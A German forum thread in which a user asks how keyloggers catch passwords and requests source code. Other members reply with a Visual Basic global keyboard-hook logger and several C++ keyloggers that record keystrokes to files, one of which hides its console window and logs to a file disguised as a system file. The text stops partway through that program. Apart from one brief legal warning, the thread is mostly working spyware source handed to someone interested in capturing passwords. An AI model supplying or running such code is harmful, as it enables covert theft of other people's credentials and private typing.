Keylogger???

Diskutiere Keylogger??? im Security-Zone - Sicherheitslücken, Virenschutz Forum im Bereich Hardware & Software Forum; Kann mir jemand mal nen paar Screenshots vo nem Keylogger zeigen??? Ich meine, wenn der alle tastendrücke aufzeichnet, kann man da überhaupt nen...
  • Keylogger??? Beitrag #1
N

nightracer2

Bekanntes Mitglied
Dabei seit
22.11.2008
Beiträge
60
Reaktionspunkte
0
Kann mir jemand mal nen paar Screenshots vo nem Keylogger zeigen???
Ich meine, wenn der alle tastendrücke aufzeichnet, kann man da überhaupt nen Passwort mit rauskriegen???:confused:
nach nem bissen googlen hab ich rausgefuden dass man die mit autoit programmiert, aber was haltet ihr von der Sprache??? und wo kann ich mir nen tutorial downloaden odeer sowas???
mfg
nightracer2
 
  • Keylogger??? Beitrag #3
N

nightracer2

Bekanntes Mitglied
Dabei seit
22.11.2008
Beiträge
60
Reaktionspunkte
0
aber sind die Passwörter da i-wie farblich hervorgehoben???
mfg
nightracer2
 
  • Keylogger??? Beitrag #4
RTW-Fahrer

RTW-Fahrer

Bekanntes Mitglied
Dabei seit
14.10.2008
Beiträge
1.724
Reaktionspunkte
0
Ort
Mal hier - mal dort - Aber immer in deiner Nähe!!!
woher soll ein Keylogger bitte wissen, welche Eingabe ein Passwort ist, welche der Name und welche einfach nur Langeweile wie etwa: sadkjalskdjjdjdjdjdjdjdjd
 
  • Keylogger??? Beitrag #5
N

nightracer2

Bekanntes Mitglied
Dabei seit
22.11.2008
Beiträge
60
Reaktionspunkte
0
isses dann net ziemlich schwer aus dem ganzen Buchstaben dass richtge rauszusuchen???
PS: kann mir jemand nen Ausschnitt vo Quelltext zeigen???
mfg
nightracer2
 
  • Keylogger??? Beitrag #6
RTW-Fahrer

RTW-Fahrer

Bekanntes Mitglied
Dabei seit
14.10.2008
Beiträge
1.724
Reaktionspunkte
0
Ort
Mal hier - mal dort - Aber immer in deiner Nähe!!!
main.vbp
Code:
Option Explicit

Private Declare Function SendMessage Lib "user32.dll" Alias "SendMessageA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByRef lParam As Any) As Long

Private Const LB_SETTABSTOPS As Long = &H192&

Private m_HookSet As Boolean

Private Sub Form_Load()
    If RunningInIDE Then
        Call MsgBox( _
            "Das Programm wird jetzt beendet.", _
            vbExclamation _
        )
        Call Unload(Me)
    ElseIf App.PrevInstance Then
        Call MsgBox( _
            "Dieses Programm kann nur in einer Instanz ausgeführt " & _
            "werden, da sonst das globale Hooking nicht funktioniert.", _
            vbExclamation _
        )
        Call Unload(Me)
    Else
        
        ReDim TabStops(0 To 1) As Long
        TabStops(0) = 60
        TabStops(1) = 100
        Call SendMessage(Me.lstKeyboardEvents.hWnd, LB_SETTABSTOPS, UBound(TabStops) + 1, TabStops(0))
        Call Me.lstKeyboardEvents.Refresh
        
        Call SetGlobalKeyboardHook(Me.hWnd, WM_KEYLAST)
        
        Call Init(Me.hWnd)
        
        m_HookSet = True
    End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
    If m_HookSet Then
        Call FreeGlobalKeyboardHook
        Call Terminate(Me.hWnd)
    End If
End Sub

Private Function RunningInIDE() As Boolean
    On Error GoTo NotCompiled
    Debug.Print 1 / 0
    Exit Function
NotCompiled:
    RunningInIDE = True
End Function
 
  • Keylogger??? Beitrag #7
RTW-Fahrer

RTW-Fahrer

Bekanntes Mitglied
Dabei seit
14.10.2008
Beiträge
1.724
Reaktionspunkte
0
Ort
Mal hier - mal dort - Aber immer in deiner Nähe!!!
modSubclass.bas
Code:
Option Explicit
Public Declare Function SetGlobalKeyboardHook Lib "KeyboardHook.dll" ( _
    ByVal hWnd As Long, _
    ByVal wMsgs As Long _
) As Long
Public Declare Function FreeGlobalKeyboardHook Lib "KeyboardHook.dll" ( _
) As Long
Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (ByRef hpvDest As Any, ByRef hpvSource As Any, ByVal cbCopy As Long)
Private Const WM_COPYDATA As Long = &H4A&
Private Type COPYDATASTRUCT
    dwData As Long
    cbData As Long
    lpData As Long
End Type
Private Declare Function CallWindowProc Lib "user32.dll" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal MSG As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Declare Function GetWindowLong Lib "user32.dll" Alias "GetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long) As Long
Private Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nIndex As Long, ByVal dwNewLong As Long) As Long
Private Const GWL_WNDPROC As Long = (-4&)
Private m_pPrevWndProc As Long
Public Const WM_KEYDOWN = &H100
Public Const WM_KEYFIRST = &H100
Public Const WM_KEYLAST = &H108
Public Const WM_KEYUP = &H101
Private m_BitPos32(0 To 31) As Long
Private Sub InitBitPositions32()
    m_BitPos32(0) = 1
    m_BitPos32(31) = -2147483648#
    Dim i As Long
    For i = 1 To 30
        m_BitPos32(i) = m_BitPos32(i - 1) * 2
    Next i
End Sub
Public Function IsBitSet32(ByVal Word As Long, ByVal BitNumber As Long) As Boolean
    IsBitSet32 = Word And m_BitPos32(BitNumber)
End Function
Public Sub Init(ByVal hWnd As Long)
    Call InitBitPositions32
    m_pPrevWndProc = SetWindowLong(hWnd, GWL_WNDPROC, AddressOf SubWndProc)
End Sub
Public Sub Terminate(ByVal hWnd As Long)
    Call SetWindowLong(hWnd, GWL_WNDPROC, m_pPrevWndProc)
End Sub
Public Function SubWndProc(ByVal hWnd As Long, ByVal MSG As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
    If MSG = WM_COPYDATA Then
        Call ReceiveMsg(lParam)
    End If
    SubWndProc = CallWindowProc(m_pPrevWndProc, hWnd, MSG, wParam, lParam)
End Function
Public Sub ReceiveMsg(ByVal lParam As Long)
    Dim cds As COPYDATASTRUCT
    Dim RepeatCount As Integer
    Dim ScanCode As Byte
    Call CopyMemory(cds, ByVal lParam, Len(cds))
    Call CopyMemory(RepeatCount, ByVal VarPtr(cds.lpData), 2)
    Call CopyMemory(ScanCode, ByVal VarPtr(cds.lpData) + 2, 1)
    FMain.lblInfo.Caption = _
        "Transition State Flag:  " & CStr(IsBitSet32(cds.lpData, 31)) & vbNewLine & _
        "Previous Key State Flag:  " & CStr(IsBitSet32(cds.lpData, 30)) & vbNewLine & _
        "Context Code:  " & CStr(IsBitSet32(cds.lpData, 29)) & vbNewLine & _
        "Extended Key Flag:  " & CStr(IsBitSet32(cds.lpData, 24)) & vbNewLine & _
        "Key Repeat Count:  " & CStr(RepeatCount) & vbNewLine & _
        "Scan Code:  " & CStr(ScanCode)
    
    Call AddItem(KeyCodeToString(cds.dwData) & vbTab & "(" & CStr(cds.dwData) & ")" & vbTab & CStr(cds.lpData))
End Sub
Private Function KeyCodeToString(ByVal KeyCode As Long) As String
    Dim t As String
    Select Case KeyCode
        Case VK_LBUTTON:        t = "VK_LBUTTON"
        Case VK_RBUTTON:        t = "VK_RBUTTON"
        Case VK_CANCEL:         t = "VK_CANCEL"
        Case VK_MBUTTON:        t = "VK_MBUTTON"
        Case VK_XBUTTON1:       t = "VK_XBUTTON1"
        Case VK_XBUTTON2:       t = "VK_XBUTTON2"
        Case VK_BACK:           t = "VK_BACK"
        Case VK_TAB:            t = "VK_TAB"
        Case VK_CLEAR:          t = "VK_CLEAR"
        Case VK_RETURN:         t = "VK_RETURN"
        Case VK_SHIFT:          t = "VK_SHIFT"
        Case VK_CONTROL:        t = "VK_CONTROL"
        Case VK_MENU:           t = "VK_MENU"
        Case VK_PAUSE:          t = "VK_PAUSE"
        Case VK_CAPITAL:        t = "VK_CAPITAL"
        Case VK_KANA:           t = "VK_KANA"
        Case VK_HANGEUL:        t = "VK_HANGEUL"
        Case VK_HANGUL:         t = "VK_HANGUL"
        Case VK_JUNJA:          t = "VK_JUNJA"
        Case VK_FINAL:          t = "VK_FINAL"
        Case VK_HANJA:          t = "VK_HANJA"
        Case VK_KANJI:          t = "VK_KANJI"
        Case VK_ESCAPE:         t = "VK_ESCAPE"
        Case VK_CONVERT:        t = "VK_CONVERT"
        Case VK_NONCONVERT:     t = "VK_NONCONVERT"
        Case VK_ACCEPT:         t = "VK_ACCEPT"
        Case VK_MODECHANGE:     t = "VK_MODECHANGE"
        Case VK_SPACE:          t = "VK_SPACE"
        Case VK_PRIOR:          t = "VK_PRIOR"
        Case VK_NEXT:           t = "VK_NEXT"
        Case VK_END:            t = "VK_END"
        Case VK_HOME:           t = "VK_HOME"
        Case VK_LEFT:           t = "VK_LEFT"
        Case VK_UP:             t = "VK_UP"
        Case VK_RIGHT:          t = "VK_RIGHT"
        Case VK_DOWN:           t = "VK_DOWN"
        Case VK_SELECT:         t = "VK_SELECT"
        Case VK_PRINT:          t = "VK_PRINT"
        Case VK_EXECUTE:        t = "VK_EXECUTE"
        Case VK_SNAPSHOT:       t = "VK_SNAPSHOT"
        Case VK_INSERT:         t = "VK_INSERT"
        Case VK_DELETE:         t = "VK_DELETE"
        Case VK_HELP:           t = "VK_HELP"
        Case VK_0:              t = "VK_0"
        Case VK_1:              t = "VK_1"
        Case VK_2:              t = "VK_2"
        Case VK_3:              t = "VK_3"
        Case VK_4:              t = "VK_4"
        Case VK_5:              t = "VK_5"
        Case VK_6:              t = "VK_6"
        Case VK_7:              t = "VK_7"
        Case VK_8:              t = "VK_8"
        Case VK_9:              t = "VK_9"
        Case VK_A:              t = "VK_A"
        Case VK_B:              t = "VK_B"
        Case VK_C:              t = "VK_C"
        Case VK_D:              t = "VK_D"
        Case VK_E:              t = "VK_E"
        Case VK_F:              t = "VK_F"
        Case VK_G:              t = "VK_G"
        Case VK_H:              t = "VK_H"
        Case VK_I:              t = "VK_I"
        Case VK_J:              t = "VK_J"
        Case VK_K:              t = "VK_K"
        Case VK_L:              t = "VK_L"
        Case VK_M:              t = "VK_M"
        Case VK_N:              t = "VK_N"
        Case VK_O:              t = "VK_O"
        Case VK_P:              t = "VK_P"
        Case VK_Q:              t = "VK_Q"
        Case VK_R:              t = "VK_R"
        Case VK_S:              t = "VK_S"
        Case VK_T:              t = "VK_T"
        Case VK_U:              t = "VK_U"
        Case VK_V:              t = "VK_V"
        Case VK_W:              t = "VK_Q"
        Case VK_X:              t = "VK_X"
        Case VK_Y:              t = "VK_Y"
        Case VK_Z:              t = "VK_Z"
        Case VK_LWIN:           t = "VK_LWIN"
        Case VK_RWIN:           t = "VK_RWIN"
        Case VK_APPS:           t = "VK_APPS"
        Case VK_SLEEP:          t = "VK_SLEEP"
        Case VK_NUMPAD0:        t = "VK_NUMPAD0"
        Case VK_NUMPAD1:        t = "VK_NUMPAD1"
        Case VK_NUMPAD2:        t = "VK_NUMPAD2"
        Case VK_NUMPAD3:        t = "VK_NUMPAD3"
        Case VK_NUMPAD4:        t = "VK_NUMPAD4"
        Case VK_NUMPAD5:        t = "VK_NUMPAD5"
        Case VK_NUMPAD6:        t = "VK_NUMPAD6"
        Case VK_NUMPAD7:        t = "VK_NUMPAD7"
        Case VK_NUMPAD8:        t = "VK_NUMPAD8"
        Case VK_NUMPAD9:        t = "VK_NUMPAD9"
        Case VK_MULTIPLY:       t = "VK_MULTIPLY"
        Case VK_ADD:            t = "VK_ADD"
        Case VK_SEPARATOR:      t = "VK_SEPARATOR"
        Case VK_SUBTRACT:       t = "VK_SUBTRACT"
        Case VK_DECIMAL:        t = "VK_DECIMAL"
        Case VK_DIVIDE:         t = "VK_DIVIDE"
        Case VK_F1:             t = "VK_F1"
        Case VK_F2:             t = "VK_F2"
        Case VK_F3:             t = "VK_F3"
        Case VK_F4:             t = "VK_F4"
        Case VK_F5:             t = "VK_F5"
        Case VK_F6:             t = "VK_F6"
        Case VK_F7:             t = "VK_F7"
        Case VK_F8:             t = "VK_F8"
        Case VK_F9:             t = "VK_F9"
        Case VK_F10:            t = "VK_F10"
        Case VK_F11:            t = "VK_F11"
        Case VK_F12:            t = "VK_F12"
        Case VK_F13:            t = "VK_F13"
        Case VK_F14:            t = "VK_F14"
        Case VK_F15:            t = "VK_F15"
        Case VK_F16:            t = "VK_F16"
        Case VK_F17:            t = "VK_F17"
        Case VK_F18:            t = "VK_F18"
        Case VK_F19:            t = "VK_F19"
        Case VK_F20:            t = "VK_F20"
        Case VK_F21:            t = "VK_F21"
        Case VK_F22:            t = "VK_F22"
        Case VK_F23:            t = "VK_F23"
        Case VK_F24:            t = "VK_F24"
        Case VK_NUMLOCK:        t = "VK_NUMLOCK"
        Case VK_SCROLL:         t = "VK_SCROLL"
        Case VK_OEM_NEC_EQUAL:  t = "VK_OEM_NEC_EQUAL"
        Case VK_OEM_FJ_JISHO:   t = "VK_OEM_FJ_JISHO"
        Case VK_OEM_FJ_MASSHOU: t = "VK_OEM_FJ_MASSHOU"
        Case VK_OEM_FJ_TOUROKU: t = "VK_OEM_FJ_TOUROKU"
        Case VK_OEM_FJ_LOYA:    t = "VK_OEM_FJ_LOYA"
        Case VK_OEM_FJ_ROYA:    t = "VK_OEM_FJ_ROYA"
        Case VK_LSHIFT:         t = "VK_LSHIFT"
        Case VK_RSHIFT:         t = "VK_RSHIFT"
        Case VK_LCONTROL:       t = "VK_LCONTROL"
        Case VK_RCONTROL:       t = "VK_RCONTROL"
        Case VK_LMENU:          t = "VK_LMENU"
        Case VK_RMENU:          t = "VK_RMENU"
        Case VK_BROWSER_BACK:   t = "VK_BROWSER_BACK"
        Case VK_BROWSER_FORWARD
                                t = "VK_BROWSER_FORWARD"
        Case VK_BROWSER_REFRESH
                                t = "VK_BROWSER_REFRESH"
        Case VK_BROWSER_STOP:   t = "VK_BROWSER_STOP"
        Case VK_BROWSER_SEARCH: t = "VK_BROWSER_SEARCH"
        Case VK_BROWSER_FAVORITES
                                t = "VK_BROWSER_FAVORITES"
        Case VK_BROWSER_HOME:   t = "VK_BROWSER_HOME"
        Case VK_VOLUME_MUTE:    t = "VK_VOLUME_MUTE"
        Case VK_VOLUME_DOWN:    t = "VK_VOLUME_DOWN"
        Case VK_VOLUME_UP:      t = "VK_VOLUME_UP"
        Case VK_MEDIA_NEXT_TRACK
                                t = "VK_MEDIA_NEXT_TRACK"
        Case VK_MEDIA_PREV_TRACK
                                t = "VK_MEDIA_PREV_TRACK"
        Case VK_MEDIA_STOP:     t = "VK_MEDIA_STOP"
        Case VK_MEDIA_PLAY_PAUSE
                                t = "VK_MEDIA_PLAY_PAUSE"
        Case VK_LAUNCH_MAIL:    t = "VK_LAUNCH_MAIL"
        Case VK_LAUNCH_MEDIA_SELECT
                                t = "VK_LAUNCH_MEDIA_SELECT"
        Case VK_LAUNCH_APP1:    t = "VK_LAUNCH_APP1"
        Case VK_LAUNCH_APP2:    t = "VK_LAUNCH_APP2"
        Case VK_OEM_1:          t = "VK_OEM_1"
        Case VK_OEM_PLUS:       t = "VK_OEM_PLUS"
        Case VK_OEM_COMMA:      t = "VK_OEM_COMMA"
        Case VK_OEM_MINUS:      t = "VK_OEM_MINUS"
        Case VK_OEM_PERIOD:     t = "VK_OEM_PERIOD"
        Case VK_OEM_2:          t = "VK_OEM_2"
        Case VK_OEM_3:          t = "VK_OEM_3"
        Case VK_OEM_4:          t = "VK_OEM_4"
        Case VK_OEM_5:          t = "VK_OEM_5"
        Case VK_OEM_6:          t = "VK_OEM_6"
        Case VK_OEM_7:          t = "VK_OEM_7"
        Case VK_OEM_8:          t = "VK_OEM_8"
        Case VK_OEM_AX:         t = "VK_OEM_AX"
        Case VK_OEM_102:        t = "VK_OEM_102"
        Case VK_ICO_HELP:       t = "VK_ICO_HELP"
        Case VK_ICO_00:         t = "VK_ICO_00"
        Case VK_PROCESSKEY:     t = "VK_PROCESSKEY"
        Case VK_ICO_CLEAR:      t = "VK_ICO_CLEAR"
        Case VK_PACKET:         t = "VK_PACKET"
        Case VK_OEM_RESET:      t = "VK_OEM_RESET"
        Case VK_OEM_JUMP:       t = "VK_OEM_JUMP"
        Case VK_OEM_PA1:        t = "VK_OEM_PA1"
        Case VK_OEM_PA2:        t = "VK_OEM_PA2"
        Case VK_OEM_PA3:        t = "VK_OEM_PA3"
        Case VK_OEM_WSCTRL:     t = "VK_OEM_WSCTRL"
        Case VK_OEM_CUSEL:      t = "VK_OEM_CUSEL"
        Case VK_OEM_ATTN:       t = "VK_OEM_ATTN"
        Case VK_OEM_FINISH:     t = "VK_OEM_FINISH"
        Case VK_OEM_COPY:       t = "VK_OEM_COPY"
        Case VK_OEM_AUTO:       t = "VK_OEM_AUTO"
        Case VK_OEM_ENLW:       t = "VK_OEM_ENLW"
        Case VK_OEM_BACKTAB:    t = "VK_OEM_BACKTAB"
        Case VK_ATTN:           t = "VK_ATTN"
        Case VK_CRSEL:          t = "VK_CRSEL"
        Case VK_EXSEL:          t = "VK_EXSEL"
        Case VK_EREOF:          t = "VK_EREOF"
        Case VK_PLAY:           t = "VK_PLAY"
        Case VK_ZOOM:           t = "VK_ZOOM"
        Case VK_NONAME:         t = "VK_NONAME"
        Case VK_PA1:            t = "VK_PA1"
        Case VK_OEM_CLEAR:      t = "VK_OEM_CLEAR"
        Case Else:              t = KeyCode
    End Select
    KeyCodeToString = t
End Function
Private Sub AddItem(ByVal Text As String)
    With FMain.lstKeyboardEvents
        If .ListCount > 30 Then
            Call .RemoveItem(0)
        End If
        Call .AddItem(Text)
        .ListIndex = .NewIndex
    End With
End Sub
 
  • Keylogger??? Beitrag #8
RTW-Fahrer

RTW-Fahrer

Bekanntes Mitglied
Dabei seit
14.10.2008
Beiträge
1.724
Reaktionspunkte
0
Ort
Mal hier - mal dort - Aber immer in deiner Nähe!!!
modVirtualKeys.bas
Code:
Option Explicit
Public Const KF_EXTENDED = &H100
Public Const KF_DLGMODE = &H800
Public Const KF_MENUMODE = &H1000
Public Const KF_ALTDOWN = &H2000
Public Const KF_REPEAT = &H4000
Public Const KF_UP = &H8000
Public Const VK_LBUTTON = &H1
Public Const VK_RBUTTON = &H2
Public Const VK_CANCEL = &H3
Public Const VK_MBUTTON = &H4
Public Const VK_XBUTTON1 = &H5
Public Const VK_XBUTTON2 = &H6
Public Const VK_BACK = &H8
Public Const VK_TAB = &H9
Public Const VK_CLEAR = &HC
Public Const VK_RETURN = &HD
Public Const VK_SHIFT = &H10
Public Const VK_CONTROL = &H11
Public Const VK_MENU = &H12
Public Const VK_PAUSE = &H13
Public Const VK_CAPITAL = &H14
Public Const VK_KANA = &H15
Public Const VK_HANGEUL = &H15
Public Const VK_HANGUL = &H15
Public Const VK_JUNJA = &H17
Public Const VK_FINAL = &H18
Public Const VK_HANJA = &H19
Public Const VK_KANJI = &H19
Public Const VK_ESCAPE = &H1B
Public Const VK_CONVERT = &H1C
Public Const VK_NONCONVERT = &H1D
Public Const VK_ACCEPT = &H1E
Public Const VK_MODECHANGE = &H1F
Public Const VK_SPACE = &H20
Public Const VK_PRIOR = &H21
Public Const VK_NEXT = &H22
Public Const VK_END = &H23
Public Const VK_HOME = &H24
Public Const VK_LEFT = &H25
Public Const VK_UP = &H26
Public Const VK_RIGHT = &H27
Public Const VK_DOWN = &H28
Public Const VK_SELECT = &H29
Public Const VK_PRINT = &H2A
Public Const VK_EXECUTE = &H2B
Public Const VK_SNAPSHOT = &H2C
Public Const VK_INSERT = &H2D
Public Const VK_DELETE = &H2E
Public Const VK_HELP = &H2F
Public Const VK_0 = &H30
Public Const VK_1 = &H31
Public Const VK_2 = &H32
Public Const VK_3 = &H33
Public Const VK_4 = &H34
Public Const VK_5 = &H35
Public Const VK_6 = &H36
Public Const VK_7 = &H37
Public Const VK_8 = &H38
Public Const VK_9 = &H39
Public Const VK_A = &H41
Public Const VK_B = &H42
Public Const VK_C = &H43
Public Const VK_D = &H44
Public Const VK_E = &H45
Public Const VK_F = &H46
Public Const VK_G = &H47
Public Const VK_H = &H48
Public Const VK_I = &H49
Public Const VK_J = &H4A
Public Const VK_K = &H4B
Public Const VK_L = &H4C
Public Const VK_M = &H4D
Public Const VK_N = &H4E
Public Const VK_O = &H4F
Public Const VK_P = &H50
Public Const VK_Q = &H51
Public Const VK_R = &H52
Public Const VK_S = &H53
Public Const VK_T = &H54
Public Const VK_U = &H55
Public Const VK_V = &H56
Public Const VK_W = &H57
Public Const VK_X = &H58
Public Const VK_Y = &H59
Public Const VK_Z = &H5A
Public Const VK_LWIN = &H5B
Public Const VK_RWIN = &H5C
Public Const VK_APPS = &H5D
Public Const VK_SLEEP = &H5F
Public Const VK_NUMPAD0 = &H60
Public Const VK_NUMPAD1 = &H61
Public Const VK_NUMPAD2 = &H62
Public Const VK_NUMPAD3 = &H63
Public Const VK_NUMPAD4 = &H64
Public Const VK_NUMPAD5 = &H65
Public Const VK_NUMPAD6 = &H66
Public Const VK_NUMPAD7 = &H67
Public Const VK_NUMPAD8 = &H68
Public Const VK_NUMPAD9 = &H69
Public Const VK_MULTIPLY = &H6A
Public Const VK_ADD = &H6B
Public Const VK_SEPARATOR = &H6C
Public Const VK_SUBTRACT = &H6D
Public Const VK_DECIMAL = &H6E
Public Const VK_DIVIDE = &H6F
Public Const VK_F1 = &H70
Public Const VK_F2 = &H71
Public Const VK_F3 = &H72
Public Const VK_F4 = &H73
Public Const VK_F5 = &H74
Public Const VK_F6 = &H75
Public Const VK_F7 = &H76
Public Const VK_F8 = &H77
Public Const VK_F9 = &H78
Public Const VK_F10 = &H79
Public Const VK_F11 = &H7A
Public Const VK_F12 = &H7B
Public Const VK_F13 = &H7C
Public Const VK_F14 = &H7D
Public Const VK_F15 = &H7E
Public Const VK_F16 = &H7F
Public Const VK_F17 = &H80
Public Const VK_F18 = &H81
Public Const VK_F19 = &H82
Public Const VK_F20 = &H83
Public Const VK_F21 = &H84
Public Const VK_F22 = &H85
Public Const VK_F23 = &H86
Public Const VK_F24 = &H87
Public Const VK_NUMLOCK = &H90
Public Const VK_SCROLL = &H91
Public Const VK_OEM_NEC_EQUAL = &H92
Public Const VK_OEM_FJ_JISHO = &H92
Public Const VK_OEM_FJ_MASSHOU = &H93
Public Const VK_OEM_FJ_TOUROKU = &H94
Public Const VK_OEM_FJ_LOYA = &H95
Public Const VK_OEM_FJ_ROYA = &H96
Public Const VK_LSHIFT = &HA0
Public Const VK_RSHIFT = &HA1
Public Const VK_LCONTROL = &HA2
Public Const VK_RCONTROL = &HA3
Public Const VK_LMENU = &HA4
Public Const VK_RMENU = &HA5
Public Const VK_BROWSER_BACK = &HA6
Public Const VK_BROWSER_FORWARD = &HA7
Public Const VK_BROWSER_REFRESH = &HA8
Public Const VK_BROWSER_STOP = &HA9
Public Const VK_BROWSER_SEARCH = &HAA
Public Const VK_BROWSER_FAVORITES = &HAB
Public Const VK_BROWSER_HOME = &HAC
Public Const VK_VOLUME_MUTE = &HAD
Public Const VK_VOLUME_DOWN = &HAE
Public Const VK_VOLUME_UP = &HAF
Public Const VK_MEDIA_NEXT_TRACK = &HB0
Public Const VK_MEDIA_PREV_TRACK = &HB1
Public Const VK_MEDIA_STOP = &HB2
Public Const VK_MEDIA_PLAY_PAUSE = &HB3
Public Const VK_LAUNCH_MAIL = &HB4
Public Const VK_LAUNCH_MEDIA_SELECT = &HB5
Public Const VK_LAUNCH_APP1 = &HB6
Public Const VK_LAUNCH_APP2 = &HB7
Public Const VK_OEM_1 = &HBA
Public Const VK_OEM_PLUS = &HBB
Public Const VK_OEM_COMMA = &HBC
Public Const VK_OEM_MINUS = &HBD
Public Const VK_OEM_PERIOD = &HBE
Public Const VK_OEM_2 = &HBF
Public Const VK_OEM_3 = &HC0
Public Const VK_OEM_4 = &HDB
Public Const VK_OEM_5 = &HDC
Public Const VK_OEM_6 = &HDD
Public Const VK_OEM_7 = &HDE
Public Const VK_OEM_8 = &HDF
Public Const VK_OEM_AX = &HE1
Public Const VK_OEM_102 = &HE2
Public Const VK_ICO_HELP = &HE3
Public Const VK_ICO_00 = &HE4
Public Const VK_PROCESSKEY = &HE5
Public Const VK_ICO_CLEAR = &HE6
Public Const VK_PACKET = &HE7
Public Const VK_OEM_RESET = &HE9
Public Const VK_OEM_JUMP = &HEA
Public Const VK_OEM_PA1 = &HEB
Public Const VK_OEM_PA2 = &HEC
Public Const VK_OEM_PA3 = &HED
Public Const VK_OEM_WSCTRL = &HEE
Public Const VK_OEM_CUSEL = &HEF
Public Const VK_OEM_ATTN = &HF0
Public Const VK_OEM_FINISH = &HF1
Public Const VK_OEM_COPY = &HF2
Public Const VK_OEM_AUTO = &HF3
Public Const VK_OEM_ENLW = &HF4
Public Const VK_OEM_BACKTAB = &HF5
Public Const VK_ATTN = &HF6
Public Const VK_CRSEL = &HF7
Public Const VK_EXSEL = &HF8
Public Const VK_EREOF = &HF9
Public Const VK_PLAY = &HFA
Public Const VK_ZOOM = &HFB
Public Const VK_NONAME = &HFC
Public Const VK_PA1 = &HFD
Public Const VK_OEM_CLEAR = &HFE
 
  • Keylogger??? Beitrag #9
N

nightracer2

Bekanntes Mitglied
Dabei seit
22.11.2008
Beiträge
60
Reaktionspunkte
0
ich glaube das is ne basic Datei, oder???:idee:
Kannst du den quelltext noch genauer erläutern???:confused:
mfg
nightracer2
 
  • Keylogger??? Beitrag #11
Max11.111

Max11.111

Bekanntes Mitglied
Dabei seit
12.06.2008
Beiträge
2.416
Reaktionspunkte
0
Vielleicht sollte man das noch hinzufügen:
In Deutschland kann der heimliche Einsatz von Keyloggern an fremden Computern als Ausspähen von Daten gemäß § 202a des Strafgesetzbuches strafbar sein. Unternehmen, die Keylogger an den Firmencomputern einsetzen wollen, müssen zuvor die Zustimmung des Betriebsrats einholen. Zudem darf gemäß Ziffer 22 des Anhangs zur Bildschirmarbeitsverordnung „[o]hne Wissen der Benutzer […] keine Vorrichtung zur qualitativen oder quantitativen Kontrolle verwendet werden“.
Quelle: http://de.wikipedia.org/wiki/Keylogger

Wir wollen ja nicht, dass wir hier Ärger bekommen, weil du ihn an deinen Freund versendest;)

Keylogger gibts natürlich auch in C++:
Code:
#include <iostream> 
#include <string> 
#include <fstream> 
#include <windows.h> 


using namespace std; 

int i; 
string s; 

int main() 
{ 
    ofstream log("log.txt"); 
    if(log.is_open()) 
    {     
         
        while(!GetAsyncKeyState(VK_F8))  // Abfragen bis F8 gedrückt wird 
        {     
            // Abfrage der Zeichen nach ASCII tabelle 
            for(i=48; i<90; i++) 
            { 
                if(GetAsyncKeyState(i)) 
                { 
                    s+=i; 
                } 
            Sleep(6); 
            } 
            // Space beruecksichtigen 
            if(GetAsyncKeyState(VK_SPACE)) 
            { 
                s+=" "; 
            } 
            // Return beruecksichtigen 
            if(GetAsyncKeyState(VK_RETURN)) 
            { 
                s+="\n"; 
            } 
        } 
    } 
    log << s;        // In Log-Container schreiben 
    log.close();    // Container schliessen 
    cin.get(); 
}

Ich bevorzuge allerdings den hier:

Code:
include <windows.h> 
#include <Winuser.h> 
#include <string> 
#include <fstream> 

//Testet ob ein Key abgefragt wurde 
std::string GetKey(int Key) 
{ 
    std::string KeyString = ""; 

    if (Key == 8) 
        KeyString = "[delete]"; 
    else if (Key == 13) 
        KeyString = "\n"; 
    else if (Key == 32) 
        KeyString = " "; 
    else if (Key == VK_PAUSE) 
        KeyString = "[PAUSE]"; 
    else if (Key == VK_CAPITAL) 
        KeyString = "[CAPITAL]"; 
    else if (Key == VK_SHIFT) 
        KeyString = "[SHIFT]"; 
    else if (Key == VK_TAB) 
        KeyString = "[TABULATOR]"; 
    else if (Key == VK_CONTROL) 
        KeyString = "[CTRL]"; 
    else if (Key == VK_ESCAPE) 
        KeyString = "[ESCAPE]"; 
    else if (Key == VK_END) 
        KeyString = "[END]"; 
    else if (Key == VK_HOME) 
        KeyString = "[HOME]"; 
    else if (Key == VK_LEFT) 
        KeyString = "[left]"; 
    else if (Key == VK_RIGHT) 
        KeyString = "[right]"; 
    else if (Key == VK_UP) 
        KeyString = "[UP]"; 
    else if (Key == VK_DOWN) 
        KeyString = "[DOWN]"; 
    else if (Key == VK_SNAPSHOT) 
        KeyString = "[SNAPSHOT]"; 
    else if (Key == VK_NUMLOCK) 
        KeyString = "[NUMLOCK]"; 
    else if (Key == 190 || Key == 110) 
        KeyString = "."; 
    //Char klein machen 
    else if (Key >=96 && Key <= 105) 
        KeyString = Key-48; 
    else if (Key > 47 && Key < 60) 
        KeyString = Key; 
    if (Key != VK_LBUTTON || Key != VK_RBUTTON) 
    { 
        if (Key > 64 && Key < 91) 
        { 
            if (GetKeyState(VK_CAPITAL)) 
                KeyString = Key; 
            else 
            { 
                Key = Key + 32; 
                KeyString = Key; 
            } 
        } 
    } 

    return KeyString; 
} 

int main() 
{ 
    std::string Filename = "test.txt"; 
    std::string TempString = ""; 
    std::fstream FStream; 
    FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); 

    while(true) 
    { 
        //Verhindert CPU Auslastung 5ms sleep 
        Sleep(5); 

        for(int i = 8; i < 191; i++) 
        { 
           if(GetAsyncKeyState(i)&1 ==1) 
           { 
                TempString = GetKey (i); 

                FStream.write(TempString.c_str(), TempString.size()); 
                FStream.close(); 
                FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app); 
           } 
        } 
    } 
}

Der ist auch sehr gut:
Code:
#include <windows.h> 
#include <stdio.h> 

int main() 
{ 
  AllocConsole(); 
  ShowWindow(FindWindowA("ConsoleWindowClass",NULL),0); 

  FILE *Log; 
  short key; 
  char szKey[MAX_PATH]; 
  int scan; 

  while(1) 
  { 
    Sleep(10); 
    for(key=0;key<256;key++) 
    { 
      if(GetAsyncKeyState(key)==-32767) 
      { 
        scan=MapVirtualKeyEx(key,0,GetKeyboardLayout(0)); 
        GetKeyNameText(scan << 16,szKey,MAX_PATH); 
        Log=fopen ("C:\WindowsSystemlog.txt","a+"); 
